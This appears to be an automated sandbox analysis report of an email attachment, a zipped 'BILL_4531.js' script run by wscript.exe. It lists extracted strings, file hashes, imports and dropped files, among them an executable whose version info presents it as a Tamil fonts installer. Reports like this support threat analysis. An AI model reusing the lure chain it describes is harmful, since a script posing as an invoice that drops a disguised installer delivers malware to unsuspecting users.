Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

8Finishedd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

<X?z?

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

>+?1?Q?

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

>Gout_InteractiveW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

??2@YAPAXI@Z

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

??3@YAXPAX@Z

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

?UnnamedWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

[+|-]

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

\ScriptEngine

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

\Sessions\1\Windows\ApiPort

Unicode based on Runtime Data (wscript.exe )

\ThemeApiPort

Unicode based on Runtime Data (wscript.exe )

__badioinfo

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

__mb_cur_max

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

__pioinfo

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_beginthread

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_endthread

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_errno

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_fileno

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_isatty

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_itoa

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_itow

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_lseeki64

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_snprintf

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_swab

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_vsnprintf

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_vsnwprintf

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_wcsicmp

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_wcsnicmp

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

_write

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

`\??\Volume{8177f4e4-b53f-11e4-a9c2-806e6f6e6963}

Unicode based on Runtime Data (wscript.exe )

`\??\Volume{8177f4e5-b53f-11e4-a9c2-806e6f6e6963}

Unicode based on Runtime Data (wscript.exe )

`\??\Volume{8177f4e8-b53f-11e4-a9c2-806e6f6e6963}

Unicode based on Runtime Data (wscript.exe )

ADVAPI32.dll

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

advapi32.dll

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

AlwaysShowExt

Unicode based on Runtime Data (wscript.exe )

AppData

Unicode based on Runtime Data (wscript.exe )

ar-KW

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ar-MA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Arguments Collection Object InterfaceW+

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Arguments Collection ObjectWWW!

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

as-IN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

atn-RS

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Attributes

Unicode based on Runtime Data (wscript.exe )

AuthenticodeEnabled

Unicode based on Runtime Data (wscript.exe )

AutoCheckSelect

Unicode based on Runtime Data (wscript.exe )

AutoDetect

Unicode based on Runtime Data (wscript.exe )

ba-RU

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

bn-BD

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

bn-IN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

bo-CN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

BrowseInPlace

Unicode based on Runtime Data (wscript.exe )

bs-Latn

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

bs-Latn-BA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

bsearch

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Cache

Unicode based on Runtime Data (wscript.exe )

CallForAttributes

Unicode based on Runtime Data (wscript.exe )

Extracted Files

Displaying 25 extracted file(s). The remaining 211 file(s) are available in the full version and XML/JSON reports.

Clean 1

gmpopenh264.dll

Overview Download Disabled Extended File Details VirusTotal Report Metadefender Report Hash Seen Before

Size
604KiB (617984 bytes)

Type
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

AV Scan Result
0/80

Runtime Process
firefox.exe (PID: 2760)

MD5

fa0e6fec79fa41c6744e1e03a1401154

SHA1

6f5828d27b710057ade7849ebe5eccf204540c28

SHA256

f2a7b0ef96f80d6fef9e64bf685edd6e6718cc3f40c829cc3845c8afd929a546

Extended File Details

gmpopenh264.dll

Filename: gmpopenh264.dll
Size: 604KiB (617984 bytes)
Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Architecture
: 32 Bit
MD5
: fa0e6fec79fa41c6744e1e03a1401154
SHA1
: 6f5828d27b710057ade7849ebe5eccf204540c28
SHA256
: f2a7b0ef96f80d6fef9e64bf685edd6e6718cc3f40c829cc3845c8afd929a546
SHA512
: fd640d4e67f5f3db123e8fc8bf9196777c1601ade3c6be404191cf57478784f38bd77279bfe8ee0217a8399a999e3c59ae76a2710c970f9ed68eed4ac8486f0e
ssdeep
: 12288:ISo6x4Zzu+2eC0MBlZE5v6ZCbX71xd7veD0pwntnrCMmhD:XozZHIHZE5v6YbL1xd7veD0CnrCMm
imphash
: baf6bdd7dfeacc9799fdf73a7b52a300
authentihash
: 0a1cc115bd599bdaf083f01580b873cf7331c02880644bad35f7310fe31ecb3e

File Sections

Details	Name	Entropy	Virtual Address	Virtual Size	Raw Size	MD5
Name .text Entropy 6.74882588053 Virtual Address 0x1000 Virtual Size 0x7b539 Raw Size 0x7b600 MD5 b0d38f438fa696c2e3df5b7ebb221e1a	.text	6.74882588053	0x1000	0x7b539	0x7b600	b0d38f438fa696c2e3df5b7ebb221e1a
Name .rdata Entropy 5.80980027495 Virtual Address 0x7d000 Virtual Size 0x13fba Raw Size 0x14000 MD5 47c2b7d05fecfe82af73cbd9c9e3d6d9	.rdata	5.80980027495	0x7d000	0x13fba	0x14000	47c2b7d05fecfe82af73cbd9c9e3d6d9
Name .data Entropy 4.48867657526 Virtual Address 0x91000 Virtual Size 0x42e4 Raw Size 0x2200 MD5 2f6eb514dd9ce90d26b1c113110e6b44	.data	4.48867657526	0x91000	0x42e4	0x2200	2f6eb514dd9ce90d26b1c113110e6b44
Name .rodata Entropy 3.35563304758 Virtual Address 0x96000 Virtual Size 0xea0 Raw Size 0x1000 MD5 f7fef229934b842ed51db566b9806ab7	.rodata	3.35563304758	0x96000	0xea0	0x1000	f7fef229934b842ed51db566b9806ab7
Name .reloc Entropy 5.70311810149 Virtual Address 0x97000 Virtual Size 0x4048 Raw Size 0x4200 MD5 3a5464ec9c93f803df5e929b401d0633	.reloc	5.70311810149	0x97000	0x4048	0x4200	3a5464ec9c93f803df5e929b401d0633

File Imports

KERNEL32.dll

CloseHandle

CreateEventA

CreateFileW

CreateThread

DecodePointer

DeleteCriticalSection

EncodePointer

EnterCriticalSection

EnumSystemLocalesA

ExitProcess

FlushFileBuffers

FreeEnvironmentStringsW

GetACP

GetCommandLineA

GetConsoleCP

GetConsoleMode

GetCPInfo

GetCurrentProcess

GetCurrentProcessId

GetCurrentThreadId

GetEnvironmentStringsW

GetFileType

GetLastError

GetLocaleInfoA

GetLocaleInfoW

GetModuleFileNameA

GetModuleFileNameW

GetModuleHandleW

GetOEMCP

GetProcAddress

GetStartupInfoW

GetStdHandle

GetStringTypeW

GetSystemInfo

GetSystemTimeAsFileTime

GetTickCount

GetUserDefaultLCID

HeapAlloc

HeapCreate

HeapDestroy

HeapFree

HeapReAlloc

HeapSize

InitializeCriticalSection

InitializeCriticalSectionAndSpinCount

InterlockedDecrement

InterlockedExchange

InterlockedIncrement

IsDebuggerPresent

IsProcessorFeaturePresent

IsValidCodePage

IsValidLocale

LCMapStringW

LeaveCriticalSection

LoadLibraryW

MultiByteToWideChar

QueryPerformanceCounter

QueryPerformanceFrequency

RaiseException

ReadFile

RtlUnwind

SetEvent

SetFilePointer

SetHandleCount

SetLastError

SetStdHandle

SetUnhandledExceptionFilter

Sleep

TerminateProcess

TlsAlloc

TlsFree

TlsGetValue

TlsSetValue

UnhandledExceptionFilter

WaitForMultipleObjects

WaitForSingleObject

WideCharToMultiByte

WriteConsoleW

WriteFile

Informative 24

nav.css

Download Disabled Hash Seen Before

Size
5.4KiB (5555 bytes)

Type
ASCII text

Runtime Process
eXe (PID: 2708)

MD5

b873ad63e8cfade1bad4f02857f0748d

SHA1

7dfdb08c95b78bdde77a008711e94e8c1973bcc5

SHA256

c602d361f3a7810acb5f6dc740457f2e8974c60a2eafdbbc741238a08b0c137f
5DYGW9JJ-XIPQ-SEFB-D62E-8CABDDA95F33.odin

Download Disabled Hash Seen Before

Size
49KiB (50044 bytes)

Type
data

MD5

5508a2a86bf72fb5485b5be36c1573cc

SHA1

84a5c7eec4ea38f45bcc5ad31f2c4ea52be02be3

SHA256

08091e1a22e91bf80a9e90c7b719e7c69035f4445d016cc7d5c56d28695ea033
_28_HOWDO_text.html

Download Disabled Hash Seen Before

Size
9.3KiB (9482 bytes)

Type
HTML document, UTF-8 Unicode text, with very long lines

MD5

d8f4fac7c57e62bcd93176399fc48af8

SHA1

eb169e9921deba92804217164627b66c03808ef8

SHA256

16552fb073ef206f57e9fba5a65265d9711f966a2c5069256f64843e4abf03a2
5DYGW9JJ-XIPQ-SEFB-7359-764CD16FFCE7.odin

Download Disabled Hash Seen Before

Size
29KiB (29701 bytes)

Type
data

MD5

d62eb5403afbd99fead0458375b101bb

SHA1

00bb4d5b7d39a54fe78a6dd1eb4871f54b52c26c

SHA256

3aea23f088ab68dcff6792b3a14fd938473f49b8694eae7b5e71193f2c3e1848
5DYGW9JJ-XIPQ-SEFB-9716-0A946C3CE4BE.odin

Download Disabled Hash Seen Before

Size
932B (932 bytes)

Type
data

MD5

1bd6d4607c36393e637c0c653c19649e

SHA1

8d6068c2b2e8db84d0b6083447653fb52a1856c6

SHA256

9560a9be9d871cb3faca40dc52a3fe246b86892043a1fe62d2308df924f177cd
home-&-garden

Download Disabled Hash Seen Before

Size
14KiB (14346 bytes)

Type
HTML document, ASCII text, with CRLF line terminators

Runtime Process
eXe (PID: 2708)

MD5

c6df9f876ad24906f3fc5a0541b5dc82

SHA1

eedfeedbe308fa432d7e76836e94a3e614b4671d

SHA256

1193bc37b0fb028631ae898023c1d61dd8578c335b53ca68722a066d856df751
_21_HOWDO_text.html

Download Disabled Hash Seen Before

Size
9.3KiB (9482 bytes)

Type
HTML document, UTF-8 Unicode text, with very long lines

MD5

d8f4fac7c57e62bcd93176399fc48af8

SHA1

eb169e9921deba92804217164627b66c03808ef8

SHA256

16552fb073ef206f57e9fba5a65265d9711f966a2c5069256f64843e4abf03a2
healthreport.sqlite

Download Disabled Hash Seen Before

Size
1.1MiB (1146880 bytes)

Type
SQLite 3.x database, user version 1

Runtime Process
firefox.exe (PID: 2760)

MD5

b1be5c2d296473c1f88ed38e4a8b31ba

SHA1

b20fe84ab183aa37fd744492a9775a94856a1f7d

SHA256

4ecca893ebd7ef80e7f1fa048148276c989d0fc163c62ced5e2c2a55f479d593
5DYGW9JJ-XIPQ-SEFB-4DDE-F004BFD77AEE.odin

Download Disabled Hash Seen Before

Size
3.1KiB (3132 bytes)

Type
data

MD5

63df4fe124fa47e6971140f9e3a05109

SHA1

e8c57a06ddc2f0beb05b304ce536cf68092450a4

SHA256

50069b9ab8a4267a60939222fe7c5c3f56b9f0cc14e69b732f3e109398fd9afd
5DYGW9JJ-XIPQ-SEFB-5AFB-0FF7A6D5EE86.odin

Download Disabled Hash Seen Before

Size
3.9MiB (4114710 bytes)

Type
data

MD5

e5ea981f09b77336f8a6492c7d65fae1

SHA1

8eb3e4561b441045e25836a2d4a6d7b78ba8db22

SHA256

436e07044bb0042128493fc2f36c8ff1aae3003ffa814ad12f8d9842576e3ce5
_22_HOWDO_text.html

Download Disabled Hash Seen Before

Size
9.3KiB (9482 bytes)

Type
HTML document, UTF-8 Unicode text, with very long lines

MD5

d8f4fac7c57e62bcd93176399fc48af8

SHA1

eb169e9921deba92804217164627b66c03808ef8

SHA256

16552fb073ef206f57e9fba5a65265d9711f966a2c5069256f64843e4abf03a2
healthreport.sqlite-wal

Download Disabled Hash Seen Before

Size
608KiB (623080 bytes)

Type
data

Runtime Process
firefox.exe (PID: 2760)

MD5

523ac571ef9e02fb2dd7fa3d106e8057

SHA1

aa720a4037c44d9f9ea7b9601c692bfc8935fc71

SHA256

1ac76026640eedd02c7b05bcf819e425724b84de4c31c2543d3d659ae26190f0
5DA331CF89FC03A9797F848CD51BA54F20015C7D

Download Disabled Hash Seen Before

Size
864B (864 bytes)

Type
data

Runtime Process
firefox.exe (PID: 2760)

MD5

2237d5ee2cb47822c285c501779b4da1

SHA1

6192cc9040dc97393f41160aae90adc526d4e515

SHA256

bb07499adf3205db464dbd1b811e29b23b07a4fae2356cd55405fdb706b4560a
5DYGW9JJ-XIPQ-SEFB-F034-96B64D825B9A.odin

Download Disabled Hash Seen Before

Size
2.3KiB (2401 bytes)

Type
data

MD5

eb9a73130f93b4349fadcc3aeafdcf1d

SHA1

915f8fd7bc609b3fd586ee3b1c2455ec8369f2b5

SHA256

0121faa0530d2e0ece2834b25128276f7b7541b0489d173939560950076e19e3
recovery.js.tmp

Download Disabled Hash Seen Before

Size
1.8KiB (1844 bytes)

Type
ASCII text, with very long lines, with no line terminators

Runtime Process
firefox.exe (PID: 2760)

MD5

0a45e5e2ce4af5e47e5f66213ef00ae7

SHA1

b7aada608e1b050fc10b9faa116aadabc9b8b0a9

SHA256

63fbfac56238ce944e4088db5afe7e929e90868f3eea3b313de0a6a35673a917
goog-phish-shavar.pset

Download Disabled Hash Seen Before

Size
436KiB (446550 bytes)

Type
data

Runtime Process
firefox.exe (PID: 2760)

MD5

b5ab6cb9f7a70a95b464bb8a9de221bf

SHA1

a0be00a1bf4419dc1cd7964db151e096e64fa5f6

SHA256

1c5245ca5048423e50ff76e1ca337a270fa5e662e1ba4b8462cf0d814e462d91
5DYGW9JJ-XIPQ-SEFB-7AFD-E18982230556.odin

Download Disabled Hash Seen Before

Size
1.6KiB (1647 bytes)

Type
data

MD5

879ea81ecface3d8547b223091f680b9

SHA1

18d3c76ef055509d2e3a35f37da0d06d0b3c0bf4

SHA256

77aef9bbaeeb844572478d475a96f015eeebb425b18a23c7e640b327d19405a2
cookies.sqlite-wal

Download Disabled Hash Seen Before

Size
480KiB (491912 bytes)

Type
data

Runtime Process
firefox.exe (PID: 2760)

MD5

356a994babf21f10496b1d3bae2b71a9

SHA1

b11ce421050f50a4bc56eefebe10167223dbbd4c

SHA256

5824502610933d6ace0af7b6ca5b44e8093f75e4e61d2f9a8202c8b21633b441
6DF4C247EB188DBE3AA7FEFB8B83F5C21339C17F

Download Disabled Hash Seen Before

Size
5.3KiB (5422 bytes)

Type
data

Runtime Process
firefox.exe (PID: 2760)

MD5

6eeee4ec2efa8027d1af669e70f34860

SHA1

8e4419a9e87aa16e8199bbca47ca02c40ca3cd5b

SHA256

caac4934b25e5144adff3243b2f3201312e3078b471d484adfc3e2d328df82f9
AppAssocReg.dll

Overview Download Disabled Hash Seen Before

Size
4.5KiB (4608 bytes)

Runtime Process
helper.exe (PID: 600)

MD5

1145a8e66064f36640e62e7ed58472bd

SHA1

e0416facc56fd30581f15bda522216ba586736ba

SHA256

386c19010f04c04a3a0071cce09f7a2c10393392c7ca5877becc437ad9d31d37
CityHash.dll

Overview Download Disabled Hash Seen Before

Size
44KiB (44544 bytes)

Runtime Process
helper.exe (PID: 600)

MD5

737379945745bb94f8a0dadcc18cad8d

SHA1

6a1f497b4dc007f5935b66ec83b00e5a394332c6

SHA256

d3d7b3d7a7941d66c7f75257be90b12ac76f787af42cd58f019ce0280972598a
System.dll

Overview Download Disabled Hash Seen Before

Size
11KiB (11264 bytes)

Runtime Process
eXe (PID: 2708)

MD5

959ea64598b9a3e494c00e8fa793be7e

SHA1

40f284a3b92c2f04b1038def79579d4b3d066ee0

SHA256

03cd57ab00236c753e7ddeee8ee1c10839ace7c426769982365531042e1f6f8b
ShellLink.dll

Overview Download Disabled Hash Seen Before

Size
4.5KiB (4608 bytes)

Runtime Process
helper.exe (PID: 600)

MD5

d62d3e349689811f838dd10fb216eba1

SHA1

edcafd517860cb6b4bd299e20b17ad74a6fa2a5d

SHA256

5d103419245e2a5f124a96cace25d6836b2398edc0aa3919829b0fd6ad8b5d6a
Roaming.eXe

Download Disabled Extended File Details Hash Seen Before

Size
264KiB (270239 bytes)

Type
PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Runtime Process
powershell.exe (PID: 2360)

MD5

0a155c07ac42cacd00f4aff5b490a9f1

SHA1

8a5fdb34ba36b2a1965ab71d4b09666e06b10702

SHA256

356ce5058314908fd8c2cb86df05e32a0baac6fc775fa93403bf1d9552917220

Extended File Details

Roaming.eXe

Filename: Roaming.eXe
Size: 264KiB (270239 bytes)
Type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Architecture
: 32 Bit
MD5
: 0a155c07ac42cacd00f4aff5b490a9f1
SHA1
: 8a5fdb34ba36b2a1965ab71d4b09666e06b10702
SHA256
: 356ce5058314908fd8c2cb86df05e32a0baac6fc775fa93403bf1d9552917220
SHA512
: e03bb36cd57c0992afa370c713f83def4c1ec1427e81d7413318fd697983333eb5a394ab6ff1b68eb1dd9a24019c42e4fb063b8b18932b8685cafffc0f727717
ssdeep
: 6144:KW+7+eMzZBL8vgNRQ9f3NAmmM1waVdBZvE8a6f1KaSMm7lvSyS:KRaZBL8iQ9f3NABApvE8a/qMaZ
imphash
: e221f4f7d36469d53810a4b5f9fc8966
authentihash
: f1f488d93ea0f47eb76c71b06cae59644487ae2385e0c0ee39246cd9069b6317

Version Info

LegalCopyright: ThamiZha! community - thamizha.com
FileVersion: 1.0
CompanyName: ThamiZha! community - thamizha.com
ProductName: tamilfonts
ProductVersion: 1.0
FileDescription: ThamiZha Tamil Fonts Installer
OriginalFilename: thamizha-tamil-fonts-pack-1.0.exe
Translation: 0x0409 0x04b0

File Sections

Details	Name	Entropy	Virtual Address	Virtual Size	Raw Size	MD5
Name .text Entropy 6.43890178327 Virtual Address 0x1000 Virtual Size 0x5ec6 Raw Size 0x6000 MD5 60ec0c4d80dd6821cdaced6135eddfd5	.text	6.43890178327	0x1000	0x5ec6	0x6000	60ec0c4d80dd6821cdaced6135eddfd5
Name .rdata Entropy 5.03751118879 Virtual Address 0x7000 Virtual Size 0x1354 Raw Size 0x1400 MD5 2222fe44ebbadbc32af32dfc9c88e48e	.rdata	5.03751118879	0x7000	0x1354	0x1400	2222fe44ebbadbc32af32dfc9c88e48e
Name .data Entropy 3.83403279618 Virtual Address 0x9000 Virtual Size 0x202f8 Raw Size 0x600 MD5 99cdd6cde9adee6bf3b24ee817b4574b	.data	3.83403279618	0x9000	0x202f8	0x600	99cdd6cde9adee6bf3b24ee817b4574b
Name .ndata Entropy 0 Virtual Address 0x2a000 Virtual Size 0x13000 Raw Size 0x0 MD5 d41d8cd98f00b204e9800998ecf8427e	.ndata	0	0x2a000	0x13000	0x0	d41d8cd98f00b204e9800998ecf8427e
Name .rsrc Entropy 5.66660689751 Virtual Address 0x3d000 Virtual Size 0x7b10 Raw Size 0x7c00 MD5 6257b39c6dc24cc527ab264b89098153	.rsrc	5.66660689751	0x3d000	0x7b10	0x7c00	6257b39c6dc24cc527ab264b89098153

File Imports

RegCloseKey

RegCreateKeyExW

RegDeleteKeyW

RegDeleteValueW

RegEnumKeyW

RegEnumValueW

RegOpenKeyExW

RegQueryValueExW

RegSetValueExW

ImageList_AddMasked

ImageList_Create

ImageList_Destroy

CreateBrushIndirect

CreateFontIndirectW

DeleteObject

GetDeviceCaps

SelectObject

SetBkColor

SetBkMode

SetTextColor

CloseHandle

CompareFileTime

CopyFileW

CreateDirectoryW

CreateFileW

CreateProcessW

CreateThread

DeleteFileW

ExitProcess

ExpandEnvironmentStringsW

FindClose

FindFirstFileW

FindNextFileW

FreeLibrary

GetCommandLineW

GetCurrentProcess

GetDiskFreeSpaceW

GetExitCodeProcess

GetFileAttributesW

GetFileSize

GetFullPathNameW

GetLastError

GetModuleFileNameW

GetModuleHandleA

GetModuleHandleW

GetPrivateProfileStringW

GetProcAddress

GetShortPathNameW

GetSystemDirectoryW

GetTempFileNameW

GetTempPathW

GetTickCount

GetVersion

GetWindowsDirectoryW

GlobalAlloc

GlobalFree

GlobalLock

GlobalUnlock

LoadLibraryA

LoadLibraryExW

LoadLibraryW

lstrcatW

lstrcmpiA

lstrcmpiW

lstrcmpW

lstrcpyA

lstrcpynW

lstrcpyW

lstrlenA

lstrlenW

MoveFileW

MulDiv

MultiByteToWideChar

ReadFile

RemoveDirectoryW

SearchPathW

SetCurrentDirectoryW

SetEnvironmentVariableW

SetErrorMode

SetFileAttributesW

SetFilePointer

SetFileTime

Sleep

WaitForSingleObject

WideCharToMultiByte

WriteFile

WritePrivateProfileStringW

CoCreateInstance

CoTaskMemFree

OleInitialize

OleUninitialize

SHBrowseForFolderW

ShellExecuteW

SHFileOperationW

SHGetFileInfoW

SHGetPathFromIDListW

SHGetSpecialFolderLocation

AppendMenuW

BeginPaint

CallWindowProcW

CharNextA

CharNextW

CharPrevW

CheckDlgButton

CloseClipboard

CreateDialogParamW

CreatePopupMenu

CreateWindowExW

DefWindowProcW

DestroyWindow

DialogBoxParamW

DispatchMessageW

DrawTextW

EmptyClipboard

EnableMenuItem

EnableWindow

EndDialog

EndPaint

ExitWindowsEx

FillRect

FindWindowExW

GetClassInfoW

GetClientRect

GetDC

GetDlgItem

GetDlgItemTextW

GetMessagePos

GetSysColor

GetSystemMenu

GetSystemMetrics

GetWindowLongW

GetWindowRect

InvalidateRect

IsWindow

IsWindowEnabled

IsWindowVisible

LoadBitmapW

LoadCursorW

LoadImageW

MessageBoxIndirectW

OpenClipboard

PeekMessageW

PostQuitMessage

RegisterClassW

ReleaseDC

ScreenToClient

SendMessageTimeoutW

SendMessageW

SetClassLongW

SetClipboardData

SetCursor

SetDlgItemTextW

SetForegroundWindow

SetTimer

SetWindowLongW

SetWindowPos

SetWindowTextW

ShowWindow

SystemParametersInfoW

TrackPopupMenu

wsprintfA

wsprintfW

GetFileVersionInfoSizeW

GetFileVersionInfoW

VerQueryValueW

Notifications

Runtime

Added comment to Virus Total report

Dropped file "Roaming.eXe" was unknown to VirusTotal, submitted file for scanning (Permalink: "https://www.virustotal.com/file/356ce5058314908fd8c2cb86df05e32a0baac6fc775fa93403bf1d9552917220/analysis/1477113583/")

Dropped file "_28_HOWDO_text.html" was unknown to VirusTotal, submitted file for scanning (Permalink: "https://www.virustotal.com/file/16552fb073ef206f57e9fba5a65265d9711f966a2c5069256f64843e4abf03a2/analysis/1477113575/")

Dropped file "home-&-garden" was unknown to VirusTotal, submitted file for scanning (Permalink: "https://www.virustotal.com/file/1193bc37b0fb028631ae898023c1d61dd8578c335b53ca68722a066d856df751/analysis/1477113576/")

Not all file accesses are visible for cmd.exe (PID: 1060)

Not all file accesses are visible for cmd.exe (PID: 2356)

Not all file accesses are visible for eXe (PID: 2696)

Not all file accesses are visible for eXe (PID: 2708)

Not all file accesses are visible for firefox.exe (PID: 2760)

Not all file accesses are visible for helper.exe (PID: 600)

Not all file accesses are visible for powershell.exe (PID: 2360)

Not all file accesses are visible for wscript.exe (PID: 1264)

Not all sources for signature ID "binary-0" are available in the report

Not all sources for signature ID "mutant-0" are available in the report

Parsed the maximum number of dropped files (20), report might not contain information about some dropped files

Some low-level details are hidden from the report due to oversize

Community

There are no community comments.

You must be logged in to submit a comment.

EMAIL_98089542916705_rcook.zip

Incident Response

Risk Assessment

Additional Context

Related Sandbox Artifacts

Indicators

Malicious Indicators 15

Suspicious Indicators 26

Informative 25

File Details

BILL_4531.js

Resources

Visualization

Screenshots

System Resource Monitor

Hybrid Analysis

Network Analysis

DNS Requests

Contacted Hosts

Contacted Countries

HTTP Traffic

Memory Forensics

Suricata Alerts

Extracted Strings

Extracted Files

Clean 1

gmpopenh264.dll

Informative 24

nav.css

5DYGW9JJ-XIPQ-SEFB-D62E-8CABDDA95F33.odin

_28_HOWDO_text.html

5DYGW9JJ-XIPQ-SEFB-7359-764CD16FFCE7.odin

Notifications

Runtime

Community

Latest News

Vetting required

Request Report Deletion

Link